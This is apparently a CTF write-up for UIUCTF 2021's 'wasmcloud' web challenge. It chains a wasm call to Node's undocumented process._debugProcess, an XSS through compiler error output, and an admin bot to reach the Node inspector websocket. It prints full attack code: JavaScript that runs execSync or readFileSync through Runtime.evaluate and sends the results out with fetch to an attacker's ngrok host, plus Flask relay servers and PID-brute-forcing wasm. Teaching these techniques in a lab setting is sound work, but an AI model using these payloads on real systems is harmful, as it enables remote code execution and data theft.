\---  
title: UIUCTF 2021 - wasmcloud  
author: sera  
categories: web  
layout: post  
\---

> wasm... as a service!  
>  
> http://wasmcloud.chal.uiuc.tf  
>  
> HINT: They say to focus on the process, not the outcome  
>  
> author: kuilin  
>  
>
> [handout.tar.gz](https://uiuc.tf/files/8120a81b776978e5307bf33845e0bcb8/handout.tar.gz)

# wasmcloud (Web, unsolved during CTF)

This web challenge is a service that runs some user's webassembly (wasm) on
the server. The flag is inside a nsjail (a secure sandbox) with the process
actually running the webassembly - however, wasm does not provide any way of
communicating with anything besides imports. Handout contains Dockerfile and
source code.

Shoutouts to nope for writing the webassembly for this challenge and the rest
of my teammates for helping bounce ideas.

## Service Description  
The challenge is not that big, but there are a few confusing parts.

First, I'll discuss what happens when you press the "run" button on the site:

![image of site](/uploads/2021-08-03/wasmcloud1.png)  
![output](/uploads/2021-08-03/wasmcloud2.png)

\- Our input wasm text is compiled locally.  
\- Our input is POSTed to /upload in binary form. The endpoint returns a 16
byte hex string representing the file's path.  
\- The page GETs /run/(id).wasm and alert()s the response.  
\- On the server itself, the /run/ endpoint:  
\- Verifies the pathname is valid (16 hex characters .wasm)  
\- Inserts itself into a job queue and waits  
\- Spawns a nsjail process that runs a script to run the actual wasm  
\- Connects stdout, stderr, and exit code to the response of the endpoint  
\- Waits until it exits  
\- The actual sandbox:  
\- Instantiates the webassembly and calls main(). The whole process module is
imported.  
\- Gets killed by nsjail after 1 second

Along with the ability to run wasm, we have an admin bot. This might seem
weird since the flag is on disk and not in admin cookies. Nevertheless, we can
run it with the /report endpoint.

The /report endpoint just attempts to verify the URL and captcha then spawns
the admin bot. The admin bot is on localhost and will only visit http(s) URLs.
It has no cookies and does nothing besides visit the page and wait 10 seconds.

## Solving

The first bug I noticed was the URL validation in the /report endpoint was
useless. Here is the corresponding code:

```js  
// assume url is to wasmcloud (client checks it, so there should be no
confusion)  
const url = "http://127.0.0.1:1337" + new URL(req.body.url).pathname;  
spawn("node", ["bot.js", req.body.url]);  
```

The `url` variable is constructed, but not actually used, and client side
checking is meaningless when we can send whatever we want to the server. We
are able to inject a parameter, to spawn but unfortunately node will *not*
parse any arguments after the script name directly and forward them to the
script. This means the only result of this bug is we can pass any http(s) to
the bot, which still seems better.

(I only knew this after solving, but this bug is a bit useless and only forces
you to write the URL with correct port out yourself along with disabling the
client side validation. The extended body parser is also enabled for this
endpoint but I don't think it allows anything interesting.)

The next thing I noticed was the _whole_ process module is imported into your
wasm, so you can call any function in the module that takes a wasm type.
However, wasm seems to have a limit of a 2 level namespace, so we can only
call something like `process.x` and not `process.x.y`. In addition, we cannot
read variables off the imported module.

If we consult the [node
documentation](https://nodejs.org/docs/latest-v14.x/api/process.html), it
looks like there is nothing really useful. But we know better to trust
documentation. We can simply type `process` into a node instance to see what
top level functions are avaliable to us.

```  
> process  
process {  
_rawDebug: [Function: _rawDebug],  
binding: [Function: binding],  
_linkedBinding: [Function: _linkedBinding],  
dlopen: [Function: dlopen],  
uptime: [Function: uptime],  
_getActiveRequests: [Function: _getActiveRequests],  
_getActiveHandles: [Function: _getActiveHandles],  
reallyExit: [Function: reallyExit],  
_kill: [Function: _kill],  
hrtime: [Function: hrtime] { bigint: [Function: hrtimeBigInt] },  
cpuUsage: [Function: cpuUsage],  
resourceUsage: [Function: resourceUsage],  
memoryUsage: [Function: memoryUsage],  
kill: [Function: kill],  
exit: [Function: exit],  
openStdin: [Function],  
getuid: [Function: getuid],  
geteuid: [Function: geteuid],  
getgid: [Function: getgid],  
getegid: [Function: getegid],  
getgroups: [Function: getgroups],  
assert: [Function: deprecated],  
_fatalException: [Function],  
setUncaughtExceptionCaptureCallback: [Function],  
hasUncaughtExceptionCaptureCallback: [Function:
hasUncaughtExceptionCaptureCallback],  
emitWarning: [Function: emitWarning],  
nextTick: [Function: nextTick],  
_tickCallback: [Function: runNextTicks],  
_debugProcess: [Function: _debugProcess],  
_debugEnd: [Function: _debugEnd],  
_startProfilerIdleNotifier: [Function: _startProfilerIdleNotifier],  
_stopProfilerIdleNotifier: [Function: _stopProfilerIdleNotifier],  
abort: [Function: abort],  
umask: [Function: wrappedUmask],  
chdir: [Function],  
cwd: [Function: wrappedCwd],  
initgroups: [Function: initgroups],  
setgroups: [Function: setgroups],  
setegid: [Function],  
seteuid: [Function],  
setgid: [Function],  
setuid: [Function],  
```

That's a bit better. We can see quite a few undocumented functions, and as the
hint says `They say to focus on the process, not the outcome`, we can assume
that we should investigate these.

One of the more interesting functions is `binding`. If we try it in our node
shell, it turns out this functions like `require` and will return a module
based on its argument. However this turns out to be a dead end for two
reasons:

\- wasm does not have the concept of a string  
\- As far as I know, we can't handle the returned module (maybe it's possible
to do something with the feature called tables?)

The functions emitWarning and _fatalException can print to stderr but again we
can't pass in strings.

Note: This is as far as I got during the actual CTF since I had a lot else to
work on but I came back to it after pwnyIDE was solved.

At this point I took a step back and analyzed the actual nsjail configuration:  
```js  
const proc = spawn("nsjail", [  
"-Mo", "-Q", "-N", "--disable_proc",  
"--chroot", "/chroot/",  
"--time_limit", "1",  
"--",  
"/usr/local/bin/node", "/sandbox.js"  
]);  
```

There are quite a few short flag names. `-Mo` means execve once, `-Q` means
quiet, and `-N` causes... the host network to be bridged? This made me think
we were expected to somehow start a server inside the jail that the admin bot
could connect to - since we bypassed the port filter and all.

As it turns out, the _debugProcess(pid) function starts a debug server!  
```  
> process._debugProcess(0)  
Debugger listening on ws://127.0.0.1:9229/d393084e-b372-407c-972d-cb130dd35d4a  
For help, see: https://nodejs.org/en/docs/inspector  
```

The documentation states `a malicious actor able to connect to this port may
be able to execute arbitrary code on behalf of the Node.js process`. This
sounds perfect, but it's a websocket server and requires a random uuidv4.

After doing some googling, I found out this port also runs a few [HTTP
endpoints](https://github.com/nodejs/node/blob/master/src/inspector_socket_server.cc#L324)
including `/json/list`, which returns the full websocket URL to conncect to
the debugger:  
```  
[ {  
"description": "node.js instance",  
"devtoolsFrontendUrl":
"devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a",  
"devtoolsFrontendUrlCompat":
"devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a",  
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",  
"id": "d393084e-b372-407c-972d-cb130dd35d4a",  
"title": "/snap/node/5146/bin/node[11082]",  
"type": "node",  
"url": "file://",  
"webSocketDebuggerUrl":
"ws://localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a"  
} ]  
```

Looks great, but we can't connect to this by sending the admin bot to a page
on our server because it's a different host. There's actually 2 CVEs related
to this where you could use DNS rebinding, but that has been fixed in the
version on the server.

I started to look for places to do XSS and found a suspicious line near the
top of the server:  
```js  
app.use(function (req, res, next) {  
res.header("Content-Type", "text/html");  
next();  
});  
```

This forces all responses to be rendered by the server even if the browser
would usually sniff them out as a different content type. Since our wasm
output is connected to /run/, I thought it would be possible to have the wasm
just print out the string and get XSS that way, but turns out it's a dead end
because wasm cannot pass a string to `process.emitWarning`, and we can't
access `process.stdout.write` even though it would take a buffer.

However, I realized we could use the compiler error messages. Trying to import
a function that fails will print its name to stdout. For example, if we upload
the following and visit its /run/ page directly, we will get an alert popup.  
```  
(module  
(import "process" "<script>alert(1)</script>" (func $return (param i32)))  
(func (export "main") (local $meme1 i32)  
i32.const 69420  
call $return  
)  
)  
```

So we can construct a simple payload that fetches /list/ and then contact the
websocket to get access. [This
page](https://blog.ssrf.in/post/cve-2018-7160-chrome-devtools-protocol-memo/)
describes a simple payload for the node debugger protocol that will execute
some code.  
```js  
const f = async (url) => {  
while(true) {  
try {  
return await fetch(url, options);  
} catch (err) {  
await new Promise(r => setTimeout(r, 100));  
}  
}  
};  
async function g(){  
let a;  
await f(`http://localhost:9229/json/list`).then(r=>r.json()).then(d=>{a=d});  
let s = new WebSocket(`${a[0][webSocketDebuggerUrl]}`);  
s.onopen = function() {  
data = `require = process.mainModule.require; execSync =
require('child_process').execSync; execSync('cat flag.txt');`;  
s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression':
data}}));  
};  
s.onmessage = function (event) {  
fetch(`https://server/?`+btoa(event.data));  
};  
};  
g();  
```

My idea here was just to keep calling /json/list until a server happens to be
up and use it. I asked nope to write some webassembly that just calls
`_debugProcess`, brute forcing the PID, and spins a loop at this point and
here's what he came up with:

```  
(module  
(import "process" "exit" (func $return (param i32)))  
(import "process" "_debugProcess" (func $enable (param i32)))  
(func (export "main") (local $meme1 i32)  
i32.const 0  
set_local $meme1  
  
loop $B0  
get_local $meme1  
call $enable  
get_local $meme1  
i32.const 1  
i32.add  
set_local $meme1  
get_local $meme1  
i32.const 9999  
i32.ne  
br_if $B0  
end  
  
loop $B1  
i32.const 1  
i32.const 2  
i32.add  
br $B1  
end

i32.const 69420  
call $return  
)  
)  
```

At this point I'm thinking I have all the parts - here's what we'll do:  
\- Submit the stored XSS  
\- Send the admin bot to the stored XSS  
\- Spam run the wasm to run the debug process  
\- Wait for the flag delivery

I try it, and it doesn't work (what did you expect?). I then remember that a
different port is not same origin, something I really should know. So we need
to find a new method to get the websocket URL. The URL is printed out, but
since we only get the output after calling /run/, that's too late, right?
Well, since the response is returned chunked, it turns out we can read the
webstocket URL that was sent to stderr before the server closes.

However, to get the timing to behave, we'll need to spin up a small http
server ourselves that starts the wasm and returns a websocket URL on being
called;

Here's the one I made:  
```python  
from flask import Flask  
import requests  
from pwn import *  
from flask_cors import CORS, cross_origin  
app = Flask(__name__)  
cors = CORS(app)  
app.config['CORS_HEADERS'] = 'Content-Type'

def make_r():  
r = remote("wasmcloud.chal.uiuc.tf", 80)  
r.sendline(b"GET /run/your-wasm-hash.wasm HTTP/1.1\r\n")  
uuid = r.recv(1024).decode().split(" ")[-4].split("\n")[0]  
# Im lazy  
return uuid

@app.route("/")  
@cross_origin()  
def hello_world():  
return make_r()

app.run(port=8080)  
```

And the corresponding js:  
```js  
async function g(){  
let a;  
await fetch(`http://server.ngrok.io/`).then(r=>r.text()).then(d=>{a=d});  
console.log(a);  
let s = new WebSocket(a);  
s.onopen = function() {  
data = `(eval payload)`;  
s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression':
data}}));  
};  
s.onmessage = function (event) {  
fetch(`http://server.ngrok.io/?`+btoa(event.data));  
};  
};  
g();  
```

I run this and get... a ulimit error from spawning a child. Great. After
changing the payload and resubmitting the captcha few times, we get the flag
with `require = process.mainModule.require;fs =
require('fs');fs.readFileSync('flag.txt').toString();`:

`uiuctf{https://youtu.be/17ocaZb-bGg}`

## Things after solving  
The XSS bug was actually completely unneccessary because websockets do not
have the concept of a same origin policy, so we could have send the admin to
our server and have that return the script too - here's a sample server that
does that:

```python  
from flask import Flask  
import requests  
import http.client  
from pwn import *  
from flask_cors import CORS, cross_origin  
app = Flask(__name__)  
cors = CORS(app)  
app.config['CORS_HEADERS'] = 'Content-Type'

def make_r():  
print("make_r: hi")  
r = remote("wasmcloud.chal.uiuc.tf", 80)  
r.sendline(b"GET /run/a9323890b8db4c5a.wasm HTTP/1.1\r\n")  
uuid = r.recv(1024).decode().split(" ")[-4].split("\n")[0]  
return uuid

@app.route("/")  
@cross_origin()  
def hello_world():  
uuid = make_r()  
s = """<script>  
async function g(){  
let s = new WebSocket("%s");  
s.onopen = function() {  
data = `require = process.mainModule.require;fs =
require('fs');fs.readFileSync('flag.txt').toString();`;  
s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression':
data}}));  
};  
s.onmessage = function (event) {  
fetch(`http://server.ngrok.io/?`+btoa(event.data));  
};  
};  
g();  
</script>""" % uuid  
return s

app.run(port=8080)  
```  
Submitting your ngrok URL with this to the admin bot is enough to get the
flag.

We also could have just had the XSS script fetch /run/ itself, but I don't
wanna make a PoC for this.  

Original writeup
(https://github.com/IrisSec/irissec.github.io/blob/master/_posts/2021-08-03-wasmcloud.md).